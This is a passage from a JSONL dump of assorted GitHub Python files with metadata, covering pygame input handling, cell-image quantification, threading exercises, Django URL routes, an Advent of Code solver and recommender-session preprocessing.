pygame.QUIT:\n\t\t\t\tself.engine.quit()\n\t\t\tif event.type == pygame.KEYDOWN:\n\t\t\t\tinkey = event.key\n\t\t\t\tif inkey in self.movements:\n\t\t\t\t\tmovement = self.movements[inkey]\n\t\t\t\t\tself.units.moveUnit(self.unit, movement)\n\t\t\t\tif inkey in self.panning:\n\t\t\t\t\tpan = self.panning[inkey]\n\t\t\t\t\tself.mapview.pan(pan)","repo_name":"Lanternglow/netrogue","sub_path":"interface/inputhandler.py","file_name":"inputhandler.py","file_ext":"py","file_size_in_byte":904,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"39717275099","text":"import sys\nimport numpy as np\nimport cv2\nimport csv\n\n\n\ndef computeFeature(segImg, qntImg, i):\n\n t = np.zeros((7),'float32')\n t[0] = i\n \n idx = np.where(segImg == i)\n I = qntImg[idx]\n\n if I.shape[0] != 0 :\n t[1] = idx[0].mean()\n t[2] = idx[1].mean()\n t[3] = I.mean()\n t[4] = I.std()\n t[5] = np.median(I)\n t[6] = I.max()\n\n return t\n\n\ndef computeFeatureMultiMarkers(segImgs, qntImgs, i):\n\n numFeats = 4\n numMarkers = qntImgs.shape[2]\n numCompts = len(segImgs)\n \n t = np.zeros((3+numFeats*numMarkers*numCompts),'float32') # we add three for the fixed cell id, x and y\n t[0] = i\n \n for j in range(0, numCompts):\n \n segImg = segImgs[j]\n \n idx = np.where(segImg == i)\n \n \n if len(idx[0]) != 0 :\n t[1] = idx[0].mean()\n t[2] = idx[1].mean()\n \n for k in range(0, numMarkers):\n qntImg = qntImgs[:,:,k]\n I = qntImg[idx]\n st = 4*k*numCompts+3+4*j\n t[st] = I.mean()\n t[st+1] = I.std()\n t[st+2] = np.median(I)\n t[st+3] = I.max()\n\n return t\n\ndef RunQuantification(segImg, qntImg):\n \n mx = segImg.max()\n F = np.zeros((mx, 7),'float32')\n for i in range(1,mx+1): \n t = computeFeature(segImg, qntImg, i)\n F[i-1,:] = t\n \n return F\n\ndef RunQuantificationMultiMarkers(segImgs, qntImgs):\n \n S = segImgs[0] \n mx = S.max()\n numFeats = 4\n numMarkers = qntImgs.shape[2]\n numCompts = len(segImgs) \n numFeats = 3+numFeats*numMarkers*numCompts\n \n F = np.zeros((mx, numFeats),'float32')\n for i in range(1,mx+1): \n t = computeFeatureMultiMarkers(segImgs, qntImgs, i)\n F[i-1,:] = t\n \n return F\n \ndef WriteQuantToFile(F, BioName, OutFName):\n #\n # Write results into a file\n #\n CHeader = [];\n CHeader.append(\"Cell_ID\")\n CHeader.append(\"Cell_Center_X\")\n CHeader.append(\"Cell_Center_Y\")\n CHeader.append(BioName+\"_Mean\")\n CHeader.append(BioName+\"_Std\")\n CHeader.append(BioName+\"_Median\")\n CHeader.append(BioName+\"_Max\")\n \n \n \n resultFile = open(OutFName,'wb')\n wr = csv.writer(resultFile, dialect='excel')\n wr.writerow(CHeader)\n \n for i in range(0,len(F[:,0])):\n A = [str(F[i,0]), str(F[i,1]), str(F[i,2]), str(F[i,3]), str(F[i,4]), str(F[i,5]), str(F[i,6])]\n wr.writerow(A)\n \n resultFile.close() \n \n\ndef WriteQuantToFileMultiMarkers(F, segNames, BioNames, OutFName):\n #\n # Write results into a file\n #\n numCompts = len(segNames)\n CHeader = [];\n CHeader.append(\"Cell_ID\")\n CHeader.append(\"Cell_Center_X\")\n CHeader.append(\"Cell_Center_Y\") \n for i in range(0,len(BioNames)):\n for j in range(0, numCompts):\n CHeader.append(BioNames[i]+\"_\"+segNames[j]+\"_Mean\")\n CHeader.append(BioNames[i]+\"_\"+segNames[j]+\"_Std\")\n CHeader.append(BioNames[i]+\"_\"+segNames[j]+\"_Median\")\n CHeader.append(BioNames[i]+\"_\"+segNames[j]+\"_Max\")\n \n \n \n resultFile = open(OutFName,'wb')\n wr = csv.writer(resultFile, dialect='excel')\n wr.writerow(CHeader)\n \n [h,w] = F.shape\n \n for i in range(0,h):\n A = [str(F[i,0])]\n \n for j in range(1, w):\n A.append( str(F[i,j]))\n \n wr.writerow(A)\n \n resultFile.close() \n\n\ndef ParseArgs(args):\n \n nucSegMask = ''\n cellSegMask = ''\n numCompartments = 0\n outFName = ''\n bioFNames = []\n bioNames = []\n \n for i in range(1,len(args)):\n a = args[i]\n a = a.lower()\n if a[0] == '-':\n if a == '-nucsegmask':\n i = i + 1\n nucSegMask = args[i]\n numCompartments = numCompartments + 1\n elif a == '-cellsegmask':\n i = i + 1\n cellSegMask = args[i]\n numCompartments = numCompartments + 1\n elif a == '-inbioim':\n for k in range(i+1, len(args)):\n b = args[k] \n if b[0] == '-':\n break;\n bioFNames.append(b)\n i = k-1\n elif a == '-bioname':\n for k in range(i+1, len(args)):\n b = args[k] \n if b[0] == '-':\n break;\n bioNames.append(b)\n i = k-1\n elif a == '-outname':\n i = i + 1\n outFName = args[i]\n \n return nucSegMask, outFName, bioFNames, bioNames, cellSegMask, numCompartments\n \n \n\nif __name__ == '__main__':\n #\n # Perform CorrQuant Quantification\n # \n \n \n if len(sys.argv) < 8:\n print(\"Incorrect arguments...Script should be called using the following args\")\n print(\"-Nucsegmask NucSegmentationMask -inbioim BioMrkerImagenames (space separated) -bioname BioNames (space separated) -outname OutFName [optional: -Cellsegmask CellSegmentationMask]\")\n sys.exit()\n \n \n \n # parse the parameters\n nucSegMask, outFName, bioFNames, bioNames, cellSegMask, numCompartments = ParseArgs(sys.argv)\n \n if numCompartments == 0:\n print(\"You have to provide at least one segmentation mask\")\n \n # Read the segmentation mask(s)\n h = 0\n w = 0\n segNucImg = [];\n segCellImg = [];\n segNames = [];\n segMasks = [];\n \n if len(nucSegMask) > 4:\n segNucImg = cv2.imread(nucSegMask,-1)\n [h,w] = segNucImg.shape\n segNames.append(\"Nuc\")\n segMasks.append(segNucImg)\n \n if len(cellSegMask) > 4:\n segCellImg = cv2.imread(cellSegMask,-1)\n [h,w] = segNucImg.shape\n segNames.append(\"Cell\") \n \n if len(nucSegMask) > 4:\n segCellImg[segNucImg>0] = 0\n \n segMasks.append(segCellImg)\n \n \n # Read the images to be quantified \n l = len(bioNames)\n qntImgs = np.zeros((h,w,l), np.uint16)\n for i in range(0, l):\n qntImgs[:,:,i] = cv2.imread(bioFNames[i],-1)\n \n # Run the quantification\n F = RunQuantificationMultiMarkers(segMasks, qntImgs)\n \n # Write the results into a file\n WriteQuantToFileMultiMarkers(F, segNames, bioNames, outFName)\n \n \n \n \n \n ","repo_name":"thrive-itcr/multicompartment-cell-quantification","sub_path":"CellQuantificationMultiMarkers.py","file_name":"CellQuantificationMultiMarkers.py","file_ext":"py","file_size_in_byte":6562,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"35798585150","text":"#!/usr/bin/env python3\n\nimport yaml\n\n\ndef read_config(f, **defaults):\n with open(f) as fh:\n config = yaml.load(fh)\n for k, v in config.items():\n defaults[k] = v\n for k, v in defaults.items():\n if v is None:\n raise Exception(\"unspeciefied value for {0}\".format(k))\n return defaults\n\n\ndef get_config(defaults):\n return read_config(defaults[\"config file\"], **defaults)\n\n\ndef assoc (**d):\n def f(x):\n try:\n return d[x]\n except KeyError:\n return None\n return f\n\n\ndef update_yaml(f, k, v):\n try:\n with open(f, 'r') as fh:\n d = yaml.load(fh)\n except FileNotFoundError:\n d = {}\n if d is None:\n d = {}\n d[k] = v\n with open(f, 'w') as fh:\n fh.write(yaml.dump(d, default_flow_style=False))\n","repo_name":"gthar/rpi_rilla","sub_path":"rpi_rilla/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":822,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"14684990516","text":"from threading import Thread, Lock, Condition\nimport time\nimport random\n\nnorth = 0\nsouth = 1\n\n\nclass OneLaneBridge(object):\n \"\"\"\n A one-lane bridge allows multiple cars to pass in either direction, but at any\n point in time, all cars on the bridge must be going in the same direction.\n\n Cars wishing to cross should call the cross function, once they have crossed\n they should call finished()\n \"\"\"\n\n def __init__(self):\n self.lock = Lock()\n self.current_direction = 0 # Indicates the current direction as either 0 North or 1 South\n self.cars_on_bridge = 0 # Indicates the number of cars currently on the bridge\n\n self.crossing = [0,0] # number of threads that have returned from cross(i) but have not yet called finished\n # (here i can be either NORTH or SOUTH).\n\n # predicate (not current_direction = direction) and (cars_on_bridge = 0)\n # In english, I need to change the direction and there are no cars on the bridge\n self.ready_for_switch = Condition(self.lock)\n\n # Invariant 1: self.crossing[0] or self.crossing[1] must be 0 at any given time\n # Invariant 2: cars_on_bridge >= 0\n # Invariant 3: current_direction is either 0 or 1\n\n\n \"\"\"\n wait for permission to cross the bridge. direction should be either\n north (0) or south (1).\n \"\"\"\n\n def cross(self, direction):\n with self.lock:\n # While there are cars on the bridge going the opposite direction I want to go in, wait\n while (direction != self.current_direction) and (self.cars_on_bridge > 0):\n self.ready_for_switch.wait()\n\n # Invariant 3 - When either the direction is the correct one, or there are no cars on the bridge, I can\n # ensure the correct direction and enter the bridge.\n self.current_direction = direction\n # Invariant 2 - This increment can not cause the invariant to become false.\n self.cars_on_bridge += 1\n # To check invarient 1, At this time, the crossing of the opposite of current_direction must be\n # zero because any car that wishes to go the opposite direction is waiting on ready_for_switch().\n # If it passed ready_for_switch, then it has just changed the direction. This can only happen if a\n # notify_all() was called because there were no cars on the bridge going either direction.\n self.crossing[self.current_direction] += 1\n\n def finished(self):\n with self.lock:\n # To check invarient 1, a car can only get here if it has already incremented crossing, so a decrement\n # can not cause either value of crossing to become less than 0. Neither can it cause either value\n # of crossing to become more than 0 since it is a decrement.\n\n self.crossing[self.current_direction] -= 1\n # I leave the bridge\n # Invariant 2 - This can only be decremented after a car as finished cross and has already incremented it\n # so it cannot go below 0\n self.cars_on_bridge -= 1\n\n # If there are no cars on the bridge behind me, I wake up all the cars who are waiting\n # to go in the opposite direction\n # Code is live because if there is no one on the bridge, the cars waiting for ready_for_switch get\n # notify_all and when they regain the monitor lock, they can exit the loop and change the direction to their\n # direction so they can cross\n if self.cars_on_bridge == 0:\n self.ready_for_switch.notify_all()\n\n\nclass Car(Thread):\n def __init__(self, bridge):\n Thread.__init__(self)\n self.direction = random.randrange(2)\n self.wait_time = random.uniform(0.1, 0.5)\n self.bridge = bridge\n\n def run(self):\n # drive to the bridge\n time.sleep(self.wait_time)\n\n # request permission to cross\n self.bridge.cross(self.direction)\n\n # drive across\n time.sleep(0.01)\n\n # signal that we have finished crossing\n self.bridge.finished()\n\n\n\nif __name__ == \"__main__\":\n\n judd_falls = OneLaneBridge()\n for i in range(100):\n Car(judd_falls).start()\n\n# vim:expandtab:tabstop=8:shiftwidth=4:softtabstop=4\n","repo_name":"mjt249/OS","sub_path":"HW2/bridge.py","file_name":"bridge.py","file_ext":"py","file_size_in_byte":4303,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"39685309832","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Aug 3 15:42:25 2020\r\n\r\n@author: SCE\r\n\"\"\"\r\n\r\n\r\nfrom mcpi.minecraft import Minecraft\r\nmc=Minecraft.create()\r\nx,y,z=mc.player.getTilePos()\r\ntry:\r\n block=int(input(\"What block do you want put?\"))\r\n mc.setBlock(x,y,z,block)\r\nexcept:\r\n mc.postToChat(\"Olny can say int\") ","repo_name":"0702ray/minecraft-2","sub_path":"12.py","file_name":"12.py","file_ext":"py","file_size_in_byte":322,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"32370503117","text":"N, K, Q = map( int, input().split() )\nA = [ int( input() ) - 1 for _ in range( Q ) ]\n\nscore = [ K for _ in range( N ) ]\n\nfor a in A:\n score[ a ] += 1\n\nfor i in range( N ):\n if score[ i ] - Q > 0:\n print( \"Yes\" )\n else:\n print( \"No\" )","repo_name":"tsukasa2/AtCoder","sub_path":"practice/ABC/141/abc141-c.py","file_name":"abc141-c.py","file_ext":"py","file_size_in_byte":256,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"5839520010","text":"from sequana.modules_report import pacbio_input_bam\nfrom easydev import TempFile\n\nfrom . import test_dir\n\ndef test_pacbio_input_bam(tmpdir):\n # we need a summary and a bunch of images\n filename = f\"{test_dir}/data/summary_pacbio_qc1.json\"\n\n # mock the PNG files found in the summary\n import json\n summary = json.load(open(filename))\n pngname = f\"{test_dir}/data/no_data.jpg\"\n summary[\"images\"][\"gc_vs_length\"] = pngname\n summary[\"images\"][\"hist_gc_content\"] = pngname\n summary[\"images\"][\"hist_read_length\"] = pngname\n summary[\"images\"][\"hist_snr\"] = pngname\n summary[\"images\"][\"hist_zmw\"] = pngname\n\n summary_file = TempFile()\n with open(summary_file.name, \"w\") as ff:\n json.dump(summary, ff)\n\n # Now that we have this new summary file, let us use it\n # we also need an output handler\n ff = TempFile()\n\n from sequana.utils import config\n config.output_dir = \"/tmp\"\n #here, ff.name is of the form /tmp/djhfjh4dz so we need to remove the /tmp\n pacbio_input_bam.PacbioInputBAMModule(summary_file.name, ff.name.split(\"/\")[1])\n\n # cleanup\n summary_file.delete()\n ff.delete()\n\n\n\n","repo_name":"sequana/sequana","sub_path":"test/modules_report/test_pacbio.py","file_name":"test_pacbio.py","file_ext":"py","file_size_in_byte":1149,"program_lang":"python","lang":"en","doc_type":"code","stars":132,"dataset":"github-code","pt":"31"} +{"seq_id":"31204861559","text":"## $Id$\n\n\"\"\"\nNetApp Qtree object\n\"\"\"\nfrom ConfigParser import NoSectionError, NoOptionError\n\nfrom docgen.base import DynamicNamedXMLConfigurable\n\nimport logging\nimport debug\nlog = logging.getLogger('docgen')\n\nclass Qtree(DynamicNamedXMLConfigurable):\n\n xmltag = 'qtree'\n\n child_tags = [\n 'lun',\n 'export',\n 'exportalias',\n ]\n\n mandatory_attribs = [\n ]\n \n optional_attribs = [\n 'name',\n 'description',\n 'security',\n 'comment',\n 'oplocks',\n ]\n \n def _depr__init__(self, volume, qtree_name=None,\n security='unix',\n comment='',\n rwexports=[],\n roexports=[],\n qtreenode=None,\n oplocks=True,\n aliases=[]):\n\n \"\"\"\n A Qtree representation\n \"\"\"\n self.volume = volume\n if qtree_name is None:\n qtree_name = 'data'\n \n self.name = qtree_name\n self.security = security\n self.comment = comment\n self.rwexports = rwexports\n self.roexports = roexports\n self.qtreenode = qtreenode\n\n self.oplocks = oplocks\n self.aliases = aliases\n \n self.luns = []\n \n log.debug(\"Created qtree: %s\", self)\n \n self.volume.qtrees[self.name] = self\n #self.volume.qtrees.append(self)\n\n def __str__(self):\n #return '' % (self.full_path(), self.parent.protocol, self.security, [ str(x) for x in self.rwexports ], [ str(x) for x in self.roexports])\n return '' % (self.full_path(), self.parent.protocol, self.security)\n\n def configure_from_node(self, node, defaults, parent):\n DynamicNamedXMLConfigurable.configure_from_node(self, node, defaults, parent)\n self.volume = parent\n self.qtreenode = node\n\n self.children['exportalias'] = [ x.text for x in node.findall('exportalias') ]\n \n def configure_optional_attributes(self, node, defaults):\n DynamicNamedXMLConfigurable.configure_optional_attributes(self, node, defaults)\n\n if getattr(self, 'security', None) is None:\n try:\n self.security = defaults.get('qtree', 'default_security')\n except (NoSectionError, NoOptionError):\n self.security = 'unix'\n\n def name_dynamically(self, defaults):\n if getattr(self, 'name', None) is None:\n ns = self.populate_namespace()\n naming_standard = defaults.get('qtree', 'qtree_name')\n self.name = naming_standard % ns\n\n def populate_namespace(self, ns={}):\n ns = self.parent.populate_namespace(ns)\n ns['qtree_name'] = getattr(self, 'name', None)\n ns['qtree_security'] = self.security\n return ns\n \n def full_path(self):\n \"\"\"\n The full qtree path, including the volume prefix.\n \"\"\"\n return '/vol/%s/%s' % (self.parent.name, self.name)\n\n def cifs_share_name(self, hidden=True):\n \"\"\"\n Get the CIFS share name for the qtree.\n \"\"\"\n retstr = '%s_%s' % (self.parent.name, self.name)\n if hidden:\n retstr += '$'\n pass\n return retstr\n\n def get_next_lunid(self, defaults):\n \"\"\"\n Get the next available lunid for the volume\n \"\"\"\n return self.parent.get_next_lunid(defaults)\n \n def get_iscsi_usable(self):\n return self.parent.get_iscsi_usable()\n\n def set_current_lunid(self, value, defaults):\n return self.parent.set_current_lunid(value, defaults)\n \n def add_to_lun_total(self, amount):\n return self.parent.add_to_lun_total(amount)\n\n def get_rw_exports(self):\n return [ x for x in self.get_exports() if x.type == 'rw' ]\n\n def get_ro_exports(self):\n return [ x for x in self.get_exports() if x.type == 'ro' ]\n \ndef create_qtree_from_node(node, defaults, volume):\n \"\"\"\n Create a qtree from an XML definition\n \"\"\"\n qtree = Qtree()\n qtree.configure_from_node(node, defaults, volume)\n return qtree\n","repo_name":"jpwarren/docgen","sub_path":"lib/docgen/qtree.py","file_name":"qtree.py","file_ext":"py","file_size_in_byte":4159,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"41610166144","text":"\"\"\"rentmanagement URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/3.0/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path\nfrom rentmanager import views\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('',views.signinuser,name='signinuser'),\n path('home/', views.home,name='home'),\n path('logout/',views.logoutuser,name='logoutuser'),\n path('houses/',views.houses,name='houses'),\n path('createhouse/',views.createhouse,name='createhouse'),\n path('house/',views.viewhouse,name='viewhouse'),\n path('deletehouse/',views.deletehouse,name='deletehouse'),\n\n path('flats/',views.flats,name='flats'),\n path('createflat/',views.createflat,name='createflat'),\n path('flat/',views.viewflat,name='viewflat'),\n path('deleteflat/',views.deleteflat,name='deleteflat'),\n\n path('renters/',views.renters,name='renters'),\n path('createrenter/',views.createrenter,name='createrenter'),\n path('renter/',views.viewrenter,name='viewrenter'),\n path('deleterenter/',views.deleterenter,name='deleterenter'),\n\n path('rentissues/',views.rentissues,name='rentissues'),\n path('createrentissue/',views.createrentissue,name='createrentissue'),\n path('rentissue/',views.viewrentissue,name='viewrentissue'),\n path('deleterentissue/',views.deleterentissue,name='deleterentissue'),\n\n path('invoices/',views.invoices,name='invoices'),\n path('createinvoice/',views.createinvoice,name='createinvoice'),\n path('invoice/',views.viewinvoice,name='viewinvoice'),\n path('deleteinvoice/',views.deleteinvoice,name='deleteinvoice'),\n\n path('payments/',views.payments,name='payments'),\n path('createpayment/',views.createpayment,name='createpayment'),\n path('payment/',views.viewpayment,name='viewpayment'),\n path('deletepayment/',views.deletepayment,name='deletepayment'),\n]\n","repo_name":"ShanjinurIslam/Rent-Mangement","sub_path":"rentmanagement/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2581,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"15635251675","text":"#!/usr/bin/python3\nimport sys\nimport math\nfrom copy import deepcopy\nfrom collections import defaultdict, deque\ninfile = sys.argv[1] if len(sys.argv)>1 else '19.in'\ndata = open(infile).read().strip()\nlines = [x for x in data.split('\\n')]\n\ndef solve(Co, Cc, Co1, Co2, Cg1, Cg2, T):\n best = 0\n # state is (ore, clay, obsidian, geodes, r1, r2, r3, r4, time)\n S = (0, 0, 0, 0, 1, 0, 0, 0, T)\n Q = deque([S])\n SEEN = set()\n while Q:\n state = Q.popleft()\n #print(state)\n o,c,ob,g,r1,r2,r3,r4,t = state\n\n best = max(best, g)\n if t==0:\n continue\n\n Core = max([Co, Cc, Co1, Cg1])\n if r1>=Core:\n r1 = Core\n if r2>=Co2:\n r2 = Co2\n if r3>=Cg2:\n r3 = Cg2\n if o >= t*Core-r1*(t-1):\n o = t*Core-r1*(t-1)\n if c>=t*Co2-r2*(t-1):\n c = t*Co2 - r2*(t-1)\n if ob>=t*Cg2-r3*(t-1):\n ob = t*Cg2-r3*(t-1)\n\n state = (o,c,ob,g,r1,r2,r3,r4,t)\n\n if state in SEEN:\n continue\n SEEN.add(state)\n\n if len(SEEN) % 1000000 == 0:\n print(t,best,len(SEEN))\n assert o>=0 and c>=0 and ob>=0 and g>=0, state\n Q.append((o+r1,c+r2,ob+r3,g+r4,r1,r2,r3,r4,t-1))\n if o>=Co: # buy ore\n Q.append((o-Co+r1, c+r2, ob+r3, g+r4, r1+1,r2,r3,r4,t-1))\n if o>=Cc:\n Q.append((o-Cc+r1, c+r2, ob+r3, g+r4, r1,r2+1,r3,r4,t-1))\n if o>=Co1 and c>=Co2:\n Q.append((o-Co1+r1, c-Co2+r2, ob+r3, g+r4, r1,r2,r3+1,r4,t-1))\n if o>=Cg1 and ob>=Cg2:\n Q.append((o-Cg1+r1, c+r2, ob-Cg2+r3, g+r4, r1,r2,r3,r4+1,t-1))\n return best\n\n\np1 = 0\np2 = 1\nfor i,line in enumerate(lines):\n words = line.split()\n id_ = int(words[1][:-1])\n ore_cost = int(words[6])\n clay_cost = int(words[12])\n obsidian_cost_ore, obsidian_cost_clay = int(words[18]), int(words[21])\n geode_cost_ore, geode_cost_clay = int(words[27]), int(words[30])\n s1 = solve(ore_cost, clay_cost, obsidian_cost_ore, obsidian_cost_clay, geode_cost_ore, geode_cost_clay,24)\n p1 += id_*s1\n if i<3:\n s2 = solve(ore_cost, clay_cost, obsidian_cost_ore, obsidian_cost_clay, geode_cost_ore, geode_cost_clay,32)\n p2 *= s2\nprint(p1)\nprint(p2)\n","repo_name":"jonathanpaulson/AdventOfCode","sub_path":"2022/19.py","file_name":"19.py","file_ext":"py","file_size_in_byte":2268,"program_lang":"python","lang":"en","doc_type":"code","stars":199,"dataset":"github-code","pt":"31"} +{"seq_id":"74717083608","text":"# Напишите программу, которая принимает аргумент в виде списка и возвращает словарь,\n# в котором каждый элемент списка является и ключом и значением.\n# Предполагается, что элементы списка будут соответствовать правилам задания ключей в словарях.\n\n\n# a = [1,2,3,4,5]\n# print({a: a for a in range(len(a))})\n\nb = [1, 'world', 2, 'boston', 3, 'miami']\nc = []\nd = []\nfor i in b:\n if str(i).isdigit():\n c.append(i)\n else:\n d.append(i)\nprint(dict(zip(c, d)))\n","repo_name":"DimaLegion/My_prob1","sub_path":"Dictionary/home_1.py","file_name":"home_1.py","file_ext":"py","file_size_in_byte":675,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"12713691099","text":"# Yoochoose Data: https://s3-eu-west-1.amazonaws.com/yc-rdata/yoochoose-data.7z\n# Diginetica Data: https://drive.google.com/file/d/0B7XZSACQf0KdenRmMk8yVUU5LWc/\n# Beauty Data: http://snap.stanford.edu/data/amazon/productGraph/categoryFiles/\n\nimport argparse\nimport json\nimport time\nimport logging as log\nfrom datetime import datetime, timedelta\nfrom enum import Enum\nfrom pathlib import Path\nfrom tqdm.auto import tqdm\n\n\ndef read_file(filename, header=False):\n with open(filename, \"r\") as f:\n file_content = f.readlines()\n return file_content if not header else file_content[1:]\n\n\ndef sort_events(events):\n return sorted(events, key=lambda event: event[\"ts\"])\n\n\ndef create_sessions(events, dataset_name):\n sessions = dict()\n for event in tqdm(events):\n if dataset_name == \"diginetica\":\n sid, _uid, aid, timeframe, eventdate = event.strip().split(\";\")\n ts = (datetime.strptime(eventdate, '%Y-%m-%d') + timedelta(milliseconds=int(timeframe))).timestamp()\n elif dataset_name == \"yoochoose\":\n sid, ts, aid, _cat = event.strip().split(\",\")\n ts = datetime.strptime(ts, \"%Y-%m-%dT%H:%M:%S.%fZ\").timestamp()\n if not sid in sessions:\n sessions[sid] = list()\n sessions[sid].append({\"aid\": aid, \"ts\": ts, \"type\": \"clicks\"})\n sessions = [{\"session\": sid, \"events\": sort_events(events)} for sid, events in sessions.items()]\n return sessions\n\n\ndef sort_sessions(sessions):\n return sorted(sessions, key=lambda x: x[\"events\"][0][\"ts\"])\n\n\ndef filter_short_sessions(sessions, min_session_len=2):\n return [session for session in tqdm(sessions) if len(session[\"events\"]) >= min_session_len]\n\n\ndef get_aid_support(sessions):\n aid_support = {}\n for session in sessions:\n for event in session[\"events\"]:\n aid = event[\"aid\"]\n if aid in aid_support:\n aid_support[aid] += 1\n else:\n aid_support[aid] = 1\n return aid_support\n\n\ndef filter_low_aid_support(sessions, min_aid_support=5):\n aid_support = get_aid_support(sessions)\n for session in tqdm(sessions):\n session[\"events\"] = list(filter(lambda event: aid_support[event[\"aid\"]] >= min_aid_support, session[\"events\"]))\n return sessions\n\n\ndef get_session_lengths(sessions):\n return {session[\"session\"]: len(session[\"events\"]) for session in sessions}\n\n\ndef filter_low_aid_and_sessions(sessions, min_aid_support, min_session_len):\n session_lengths = get_session_lengths(sessions)\n aid_support = get_aid_support(sessions)\n filtered_sessions = list()\n for session in tqdm(sessions):\n if session_lengths[session[\"session\"]] >= min_session_len:\n session[\"events\"] = list(filter(lambda event: aid_support[event[\"aid\"]] >= min_aid_support, session[\"events\"]))\n if len(session[\"events\"]) > 0:\n filtered_sessions.append(session)\n return filtered_sessions\n\n\ndef apply_session_filtering(sessions, min_session_len=2, min_aid_support=5):\n sessions = filter_short_sessions(sessions, min_session_len)\n sessions = filter_low_aid_support(sessions, min_aid_support)\n return filter_short_sessions(sessions, min_session_len)\n\n\ndef train_test_split(sessions, dataset_name, split_seconds, split_idx):\n max_date = max([session[\"events\"][0][\"ts\"] for session in sessions])\n if dataset_name == \"diginetica\":\n max_date = datetime.fromtimestamp(int(max_date)).strftime('%Y-%m-%d')\n max_date = time.mktime(time.strptime(max_date, '%Y-%m-%d'))\n splitdate = max_date - split_seconds\n train_sessions = filter(lambda session: session[\"events\"][split_idx][\"ts\"] < splitdate, sessions)\n test_sessions = filter(lambda session: session[\"events\"][split_idx][\"ts\"] >= splitdate, sessions)\n return (list(train_sessions), list(test_sessions))\n\n\ndef filter_test_aids(train_sessions, test_sessions):\n train_aids = [event[\"aid\"] for session in train_sessions for event in session[\"events\"]]\n test_aids = [event[\"aid\"] for session in test_sessions for event in session[\"events\"]]\n aids_to_remove = set(test_aids).difference(set(train_aids))\n for session in test_sessions:\n session[\"events\"] = [event for event in session[\"events\"] if not event[\"aid\"] in aids_to_remove]\n return (test_sessions, train_aids)\n\n\ndef create_aid_to_idx(train_aids):\n aid_to_idx = dict()\n aid_counter = 1\n for aid in tqdm(train_aids):\n if not aid in aid_to_idx:\n aid_to_idx[aid] = aid_counter\n aid_counter += 1\n return aid_to_idx\n\n\ndef remap_indices(sessions, aid_to_idx):\n num_events = 0\n num_sessions = 0\n for session in tqdm(sessions):\n for event in session[\"events\"]:\n event[\"aid\"] = aid_to_idx[event[\"aid\"]]\n num_events += 1\n num_sessions += 1\n return sessions, num_sessions, num_events\n\n\ndef write_file(sessions, filename):\n with open(filename, \"w\") as f:\n for s in tqdm(sessions):\n f.write(json.dumps(s) + \"\\n\")\n\n\ndef write_stats(num_items, num_train_sessions, num_train_events, num_test_sessions=None, num_test_events=None, filename=None):\n stats = {\n \"train\": {\n \"num_sessions\": num_train_sessions,\n \"num_events\": num_train_events\n },\n \"num_items\": num_items,\n \"test\": {\n \"num_sessions\": num_test_sessions,\n \"num_events\": num_test_events\n }\n }\n with open(filename, \"w\") as f:\n f.write(json.dumps(stats))\n\n\ndef run_preprocessing(config, data_dir):\n dataset_name = config[\"dataset_name\"]\n events = read_file(config[\"data_file\"], header=config[\"header\"])\n log.info(f\"Read {len(events)} events from {config['data_file']}\")\n\n log.info(\"Creating sessions...\")\n sessions = create_sessions(events, dataset_name)\n log.info(f\"Created {len(sessions)} sessions for {dataset_name}\")\n\n log.info(\"Filtering sessions...\")\n sessions = apply_session_filtering(sessions)\n log.info(f\"Remaining sessions after filtering: {len(sessions)}\")\n\n log.info(\"Splitting sessions into train and test...\")\n train_sessions, test_sessions = train_test_split(sessions, dataset_name, config[\"split_seconds\"], config[\"split_idx\"])\n log.info(f\"Split sessions into {len(train_sessions)} train and {len(test_sessions)} test sessions\")\n test_sessions, train_aids = filter_test_aids(train_sessions, test_sessions)\n test_sessions = filter_short_sessions(test_sessions)\n log.info(f\"Remaining test sessions after filtering: {len(test_sessions)}\")\n\n log.info(\"Creating item indices...\")\n aid_to_idx = create_aid_to_idx(train_aids)\n log.info(f\"Created {len(aid_to_idx)} item indices\")\n\n log.info(\"Remapping item indices...\")\n train_sessions, num_train_sessions, num_train_events = remap_indices(train_sessions, aid_to_idx)\n test_sessions, num_test_sessions, num_test_events = remap_indices(test_sessions, aid_to_idx)\n\n log.info(\"Sorting sessions\")\n train_sessions = sort_sessions(train_sessions)\n test_sessions = sort_sessions(test_sessions)\n\n output_dir = data_dir / dataset_name\n output_dir.mkdir(parents=True, exist_ok=True)\n log.info(f\"Writing sessions to {output_dir}\")\n write_file(train_sessions, output_dir / f\"{dataset_name}_train.jsonl\")\n write_file(test_sessions, output_dir / f\"{dataset_name}_test.jsonl\")\n\n stats_file = output_dir / f\"{dataset_name}_stats.json\"\n log.info(f\"Writing stats to {stats_file}\")\n write_stats(len(set(train_aids)), num_train_sessions, num_train_events, num_test_sessions, num_test_events, stats_file)\n\n\ndef filter_non_clicks(in_file, out_file):\n num_sessions = 0\n num_events = 0\n items = set()\n log.info(f\"Filtering non-clicks from {in_file} to {out_file}\")\n with open(in_file, \"r\") as read_file:\n with open(out_file, \"w\") as write_file:\n for line in 